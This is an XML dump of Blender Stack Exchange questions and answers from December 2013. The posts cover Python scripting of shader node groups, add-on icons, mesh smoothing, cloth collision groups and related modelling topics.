  <row Id="5443" PostTypeId="2" ParentId="3417" CreationDate="2013-12-11T07:30:08.073" Score="1" Body="&lt;p&gt;Unfortunately, &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you could try using &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aSergof/GSoC2012/Documentation&quot; rel=&quot;nofollow&quot;&gt;rigid body simulation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that rigid body interactions will not work as expected currently, because rigid body simulation only takes into account the base mesh (no modifiers). However, some &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aSergof/GSoC2013/Documentation&quot; rel=&quot;nofollow&quot;&gt;recent improvements&lt;/a&gt; will soon make this possible.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-11T07:30:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5444" PostTypeId="2" ParentId="5414" CreationDate="2013-12-11T07:33:52.677" Score="5" Body="&lt;p&gt;The problem with using operators in scripts is they return {FINISHED} rather than the object you wish to keep working with. Instead of using the make_group operator you could use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;test_group = bpy.data.node_groups.new('testGroup', 'ShaderNodeTree')&#xA;test_group.name = 'anotherGroupName'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;node_groups.new()&lt;/code&gt; creates the group with the name set to the first pramater. The result returned into &lt;code&gt;test_group&lt;/code&gt; can be used later to change that name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also reference the group by name to change it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.node_groups['testgrp'].name = 'NewGroupName'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but without knowing the auto-generated name from the operator this isn't helpful.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-11T07:33:52.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5445" PostTypeId="2" ParentId="5413" CreationDate="2013-12-11T08:32:19.553" Score="5" Body="&lt;p&gt;I figured a way to get this to work. It still uses the override as we add the group to the material and put the group into edit mode to use the &lt;code&gt;tree_socket_add&lt;/code&gt; operator. Ideally we should be able to do this without using operators to visually edit the group. I'm using the operator usage to separate this from your &lt;a href=&quot;https://blender.stackexchange.com/questions/5387/how-to-handle-creating-a-node-group-in-a-script&quot;&gt;other group question&lt;/a&gt;. As mentioned in that question the api change in 2.67 means this won't work in blender &amp;lt;=2.66&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be improved by testing that we have an active material or even an object to add a material to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;tree_socket_add&lt;/code&gt; adds the sockets to &lt;code&gt;test_group.inputs&lt;/code&gt; where we can name them but to make connections we need to use &lt;code&gt;group_inputs.outputs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == &quot;NODE_EDITOR&quot;:&#xA;        override = {'screen': bpy.context.screen, 'area': area}&#xA;&#xA;# create a group&#xA;test_group = bpy.data.node_groups.new('testGroup', 'ShaderNodeTree')&#xA;&#xA;# create group inputs&#xA;group_inputs = test_group.nodes.new('NodeGroupInput')&#xA;group_inputs.location = (-350,0)&#xA;&#xA;# create group outputs&#xA;group_outputs = test_group.nodes.new('NodeGroupOutput')&#xA;group_outputs.location = (300,0)&#xA;&#xA;# add group to active material&#xA;bpy.ops.node.add_node(override,settings=[{&quot;name&quot;:&quot;node_tree&quot;, &quot;value&quot;:&quot;bpy.data.node_groups['&quot;+test_group.name+&quot;']&quot;}], type=&quot;ShaderNodeGroup&quot;)&#xA;# put group into edit mode&#xA;bpy.ops.node.group_edit(override)&#xA;&#xA;# create group input/output sockets&#xA;bpy.ops.node.tree_socket_add(override, in_out='IN')&#xA;test_group.inputs[0].name = 'in_to_greater'&#xA;bpy.ops.node.tree_socket_add(override, in_out='IN')&#xA;test_group.inputs[1].name = 'in_to_less'&#xA;bpy.ops.node.tree_socket_add(override, in_out='OUT')&#xA;test_group.outputs[0].name = 'out_result'&#xA;&#xA;# create three math nodes in a group&#xA;node_add = test_group.nodes.new('ShaderNodeMath')&#xA;node_add.operation = 'ADD'&#xA;node_add.location = (100,0)&#xA;&#xA;node_greater = test_group.nodes.new('ShaderNodeMath')&#xA;node_greater.operation = 'GREATER_THAN'&#xA;node_greater.label = 'greater'&#xA;node_greater.location = (-100,100)&#xA;&#xA;node_less = test_group.nodes.new('ShaderNodeMath')&#xA;node_less.operation = 'LESS_THAN'&#xA;node_less.label = 'less'&#xA;node_less.location = (-100,-100)&#xA;&#xA;# link nodes together&#xA;test_group.links.new(node_add.inputs[0], node_greater.outputs[0])&#xA;test_group.links.new(node_add.inputs[1], node_less.outputs[0])&#xA;test_group.links.new(group_inputs.outputs[0], node_greater.inputs[0])&#xA;test_group.links.new(group_inputs.outputs[1], node_less.inputs[0])&#xA;test_group.links.new(node_add.outputs[0], group_outputs.inputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-12-11T08:32:19.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5446" PostTypeId="2" ParentId="5413" CreationDate="2013-12-11T09:06:01.933" Score="18" Body="&lt;p&gt;As a rule of thumb, you should try to avoid operator calls in scripts and use api functions directly as much as possible (if you do this, no need to override). So the snippet below is not needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == &quot;NODE_EDITOR&quot;:&#xA;        override = {'screen': bpy.context.screen, 'area': area}&#xA;bpy.ops.node.select_all(override, action='DESELECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Through some experimenting, I found it's easier to not use &lt;code&gt;group_make&lt;/code&gt; as the default &lt;code&gt;GroupInput&lt;/code&gt; and &lt;code&gt;GroupOutput&lt;/code&gt; nodes it creates can be a bit unwieldy and adding a &lt;em&gt;Socket&lt;/em&gt; to a tree creates a template rather than an actual socket (the lists displayed in Interface panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, it's easier to create a new node group with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_74_release/bpy.types.BlendDataNodeTrees.html#bpy.types.BlendDataNodeTrees.new&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.data.node_groups.new&lt;/code&gt;&lt;/a&gt; and work with that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;group = bpy.data.node_groups.new(type=&quot;ShaderNodeTree&quot;, name=&quot;testgroup&quot;)&#xA;group.inputs.new(&quot;NodeSocketFloat&quot;, &quot;Input One&quot;)&#xA;group.inputs.new(&quot;NodeSocketFloat&quot;, &quot;Input Two&quot;)&#xA;input_node = group.nodes.new(&quot;NodeGroupInput&quot;)&#xA;input_node.location = (0, 0)&#xA;&#xA;group.outputs.new(&quot;NodeSocketFloat&quot;, &quot;Out&quot;)&#xA;output_node = group.nodes.new(&quot;NodeGroupOutput&quot;)&#xA;output_node.location = (600, 0)&#xA;&#xA;gtr_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;gtr_math_node.operation = &quot;GREATER_THAN&quot;&#xA;gtr_math_node.name = &quot;greater&quot;&#xA;gtr_math_node.location = (200, 100)&#xA;group.links.new(input_node.outputs[&quot;Input One&quot;], gtr_math_node.inputs[0])&#xA;&#xA;lss_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;lss_math_node.operation = &quot;LESS_THAN&quot;&#xA;lss_math_node.name = &quot;less&quot;&#xA;lss_math_node.location = (200,-100)&#xA;group.links.new(input_node.outputs[&quot;Input Two&quot;], lss_math_node.inputs[1])&#xA;&#xA;add_math_node = group.nodes.new(type='ShaderNodeMath')&#xA;add_math_node.operation = &quot;ADD&quot;&#xA;add_math_node.name = &quot;add&quot;&#xA;add_math_node.location = (400, 0)&#xA;&#xA;group.links.new(gtr_math_node.outputs[&quot;Value&quot;], add_math_node.inputs[0])&#xA;group.links.new(lss_math_node.outputs[&quot;Value&quot;], add_math_node.inputs[1])&#xA;&#xA;group.links.new(add_math_node.outputs[&quot;Value&quot;], output_node.inputs[&quot;Out&quot;])&#xA;&#xA;tree = bpy.context.object.active_material.node_tree&#xA;group_node = tree.nodes.new(&quot;ShaderNodeGroup&quot;)&#xA;group_node.node_tree = group&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above gives you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qOL1m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-04-12T23:09:30.413" LastActivityDate="2015-04-12T23:09:30.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5447" PostTypeId="1" CreationDate="2013-12-11T10:43:51.943" Score="2" ViewCount="255" Body="&lt;p&gt;In my addon if &lt;code&gt;bl_region_type = TOOL_PROPS&lt;/code&gt;, the operators text is not aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CsuZI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where as if &lt;code&gt;bl_region_type = TOOL&lt;/code&gt; the text is aligned on the left side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2fyA.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this and how could I align the text in operator while &lt;code&gt;bl_region_type = TOOL_PROPS&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="55" LastEditDate="2013-12-11T14:39:24.950" LastActivityDate="2013-12-11T14:39:24.950" Title="Operator Button Text alignment" Tags="&lt;scripting&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2013-12-11T11:51:45.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="5448" PostTypeId="1" CreationDate="2013-12-11T10:56:33.323" Score="8" ViewCount="1555" Body="&lt;p&gt;I have created an add-on but I can't apply my own icon to the operators in this add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to implement this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to add the icon to an SVG file? &lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="12" LastEditDate="2013-12-11T17:29:16.540" LastActivityDate="2013-12-17T03:53:41.400" Title="How can a custom icon be loaded in an add-on?" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ClosedDate="2021-03-19T17:36:15.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="5449" PostTypeId="2" ParentId="5448" CreationDate="2013-12-11T12:21:22.393" Score="6" Body="&lt;p&gt;You can only use already available icons, too see which are available enable the Icons add-on. A panel with all icons will be displayed in the text editor properties (or python console). The name of the icons is shown in a tooltip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the icon attribute like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row = layout.column(align=True)&#xA;row.operator('id_name', icon='QUESTION')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V849I.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom icons require compilation which is off-topic here but you could find a discussion on custom icons at &lt;a href=&quot;http://www.blenderartist.org/forum/showthread.php?290960-Possible-to-create-a-custom-icon-for-UI-panels-buttons&quot; rel=&quot;nofollow noreferrer&quot;&gt;this BA thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly outdated information on how to integrate custom icons you find in the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Doc/How_to/Add_an_icon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt;. There is descibed that all icons are stored in a single .png file which explains that you can't use SVG or any other format.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-11T12:26:45.313" LastActivityDate="2013-12-11T12:26:45.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5450" PostTypeId="1" AcceptedAnswerId="5452" CreationDate="2013-12-11T16:41:17.703" Score="5" ViewCount="1971" Body="&lt;p&gt;I know this is &lt;strong&gt;very&lt;/strong&gt; simple, but I've tried using the smooth button in the mesh tools section, but it won't work:&#xA;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G7xfd.png&quot; alt=&quot;http://snag.gy/1fdy6.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with smooth vertex:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mNdAp.png&quot; alt=&quot;http://snag.gy/QMFve.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;(I need to smoothen it so much that it is only a nice curve: &lt;a href=&quot;http://snag.gy/O1kk7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://snag.gy/O1kk7.jpg&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="12" LastEditDate="2013-12-11T17:28:33.833" LastActivityDate="2013-12-11T17:28:33.833" Title="How to smooth multiple vertices at a point?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5451" PostTypeId="2" ParentId="5450" CreationDate="2013-12-11T17:02:16.427" Score="4" Body="&lt;p&gt;The simplest solution is to add the subdivision modifier. Then you probably have to tweak your geometry to get the shape you want. You will see the updates in realtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting geometry, very lowpoly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XXYAu.png&quot; alt=&quot;lowpoly geometry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivision modifier added. Adjust subdivision to reach sufficient smoothness. Be sure to set render higher or equal to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1UQIa.png&quot; alt=&quot;added subdivision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add loops (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) to make some edges more pronounced. You can also select an edge in edit mode and use Edge crease &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ct7VI.png&quot; alt=&quot;support loops&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make final object smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xklC.png&quot; alt=&quot;Smooth object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-11T17:02:16.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5452" PostTypeId="2" ParentId="5450" CreationDate="2013-12-11T17:03:15.620" Score="6" Body="&lt;p&gt;The tool is working, you just need more geometry and bump up the number of times to smooth the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UMe5y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So the tool works but I doubt it will give you the results you are looking for. It's best if you model this curved bit by just add some supporting edge rings through the top of you mesh and moving these outwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lX3NK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later as your model gets more refined, you can add a &lt;em&gt;Subsurf&lt;/em&gt; modifier and some supporting loops along the edges to get a nice sleek look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xhvee.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NB:&lt;/em&gt;&lt;/strong&gt; It's best to get the basic outline/shape of your model down before adding any deformation modifiers.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-11T17:24:57.330" LastActivityDate="2013-12-11T17:24:57.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5453" PostTypeId="2" ParentId="5309" CreationDate="2013-12-11T18:14:17.530" Score="14" Body="&lt;p&gt;&lt;a href=&quot;http://morecycles.blogspot.com/2012/01/environment-importance-sampling.html&quot;&gt;Here's a blog post&lt;/a&gt; from the MIS creator's announcement of the addition. He describes a little bit his goals and the purpose behind the feature. &lt;a href=&quot;http://www.blendernation.com/2012/01/19/cycles-importance-sampling/&quot;&gt;Here is also another announcement&lt;/a&gt; of the feature. I'll quote from the latter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;There are generally less samples in the same amount of time compared to vanilla Cycles, but since the samples are smarter, the resultant image is clearer.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fewer but smarter samples could swing performance either way (as the previous two answers indicate), and the impact on performance will vary widely from scene to scene, but the overall effect is an improvement in render quality. As a general rule, when building a scene &lt;em&gt;performance &gt; quality&lt;/em&gt;; when rendering your final scene &lt;em&gt;quality &gt; performance&lt;/em&gt;. Therefore, have MIS disabled when building a scene and enable it when you do your final renders. However, since MIS may not noticeably affect performance in some scenes, and it may improve performance in others, you may still want it enabled when building your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of other settings that will also impact performance and render time and &lt;em&gt;all&lt;/em&gt; of these interact with each other in weird and unusual ways in each scene. So go ahead and play with it in different scenes and decide for yourself how and when you want to use it. CGI is a very subjective art, and only you can decide if you like how a particular setting affects your renders.&lt;/p&gt;&#xA;" OwnerUserId="1825" LastActivityDate="2013-12-11T18:14:17.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5454" PostTypeId="1" AcceptedAnswerId="5465" CreationDate="2013-12-11T21:18:39.387" Score="2" ViewCount="2389" Body="&lt;p&gt;I have a nodegroup which has somehow gotten 3 users. I want to delete it, but I can't find where it's being used and there is no unlink button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someway to force unlink it or find its users?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-12T02:27:13.283" Title="How to unlink a node group datablock?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5455" PostTypeId="2" ParentId="5026" CreationDate="2013-12-11T21:36:33.163" Score="3" Body="&lt;p&gt;You could try the viewport shading to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Texture_Editing#3D_Viewport_Draw_Types&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/a&gt;, it will display image textures as mixed in the shader node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RtXfd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtXfd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Texture_Editing#3D_Viewport_Draw_Types&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Material&lt;/em&gt;: a simplified version of the entire material is drawn using&#xA;  GLSL shaders. This uses solid lighting, and also is mostly useful for&#xA;  editing, painting and mapping textures, but while seeing how they&#xA;  integrate with the material.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-11T21:36:33.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5456" PostTypeId="2" ParentId="3494" CreationDate="2013-12-11T22:08:12.307" Score="2" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/3494/how-to-preserve-cycles-material-colours-when-exporting-to-obj-format#comment5987_3494&quot;&gt;mentioned by Jebediah Kerman&lt;/a&gt;, the &lt;em&gt;viewport color&lt;/em&gt; in &lt;em&gt;Material &gt; Settings&lt;/em&gt; is exported to the &lt;code&gt;.mtl&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRM16.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have a few simple materials, it can be quite trivial to copy the colors by using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; while hovering over the color selection boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have many materials, you could write a python script to take colors from the node tree and set the viewport color accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is a simple script that looks for diffuse shaders and sets the viewport color to the color of any diffuse shaders found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for mat in bpy.data.materials:&#xA;    if mat.use_nodes == True:&#xA;        tree = mat.node_tree&#xA;        for node in tree.nodes:&#xA;            if node.type == &quot;BSDF_DIFFUSE&quot;:&#xA;                col = node.inputs[&quot;Color&quot;].default_value&#xA;                mat.diffuse_color = (col[0],col[1],col[2])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;em&gt;Viewport color&lt;/em&gt; is actually &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Material.html?highlight=diffuse%20color#bpy.types.Material.diffuse_color&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;diffuse_color&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-12-12T01:21:55.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5458" PostTypeId="1" AcceptedAnswerId="5472" CreationDate="2013-12-11T23:47:27.747" Score="9" ViewCount="7510" Body="&lt;p&gt;I'm using mirror modifier with merge and clipping enabled to create a very low poly model. Generally - every single triangle counts. I'm also a newbie, so this question might be stuipid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use mirror modifier so that it DOESN'T create new vertexes at the point my model and mirrored parts merge? I know they are needed in most cases, but in my it's just extra work to remove them.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastEditorUserId="1545" LastEditDate="2013-12-11T23:54:16.897" LastActivityDate="2015-12-22T17:53:25.947" Title="Mirror modifier without seam" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5459" PostTypeId="1" AcceptedAnswerId="5473" CreationDate="2013-12-12T00:20:28.967" Score="4" ViewCount="1646" Body="&lt;p&gt;How can I set the output socket type of a nodegroup output socket from python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know of any good way to do this in the UI.. The only way I know of in the UI is to connect a node output of the type I want (e.g. a yellow color output) to the &lt;em&gt;Group Output&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.NodeSocket.html#bpy.types.NodeSocket.type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;socket.type&lt;/code&gt;&lt;/a&gt;, however there is no error message and the socket type does not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important because the default is a &lt;code&gt;'VALUE'&lt;/code&gt; socket, which converts colors into grayscale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant part of my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main_group = bpy.data.node_groups.new(type=&quot;ShaderNodeTree&quot;, name=&quot;Object Color&quot;)&#xA;main_group.outputs.new(&quot;NodeSocketFloat&quot;, &quot;Object Color&quot;)&#xA;output_node = main_group.nodes.new(&quot;NodeGroupOutput&quot;)&#xA;output_node.location = (600, 0)&#xA;output_node.inputs[&quot;Object Color&quot;].type = 'RGBA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-04-14T22:33:12.577" Title="How to set the socket type in python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5460" PostTypeId="1" AcceptedAnswerId="5461" CreationDate="2013-12-12T00:44:35.493" Score="8" ViewCount="1902" Body="&lt;p&gt;I have a bed in a room with lots of objects. I'd like to put a sheet over the bed by simulating the sheet as cloth falling over the bed (which has collision enabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, I have many other objects around the bed which has collision enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to hide everything except the bed and the sheet, but the sheet is still affected by the collision of the other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer not to move the bed out of the way, nor disable collision on the other objects because I need it for other simulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to specify or exclude objects that the sheet can collide with?&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-12-12T00:52:56.550" Title="How to exclude objects from cloth's collision?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5461" PostTypeId="2" ParentId="5460" CreationDate="2013-12-12T00:47:32.710" Score="7" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;. This is possible with &lt;em&gt;Collision groups&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Grouping_objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Group&lt;/em&gt;&lt;/a&gt; of the objects you want the sheet to collide with. (select objects and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set that group in the cloth collision settings for the sheet under &lt;em&gt;Cloth Collision &amp;gt; Collision Group&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIB1j.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now the sheet object will only collide with the objects in the group &lt;em&gt;Bed&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-12T00:52:56.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5462" PostTypeId="1" AcceptedAnswerId="5471" CreationDate="2013-12-12T01:26:48.750" Score="6" ViewCount="2522" Body="&lt;p&gt;Is it possible to find nodes connected to a node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, could you trace your way back through a node tree from the material output node by finding the node connected to the material output node, then finding the node(s) connected to that node, then the nodes connected to those nodes, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-12T06:23:50.453" Title="Is it possible to find the nodes connected to a node in python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
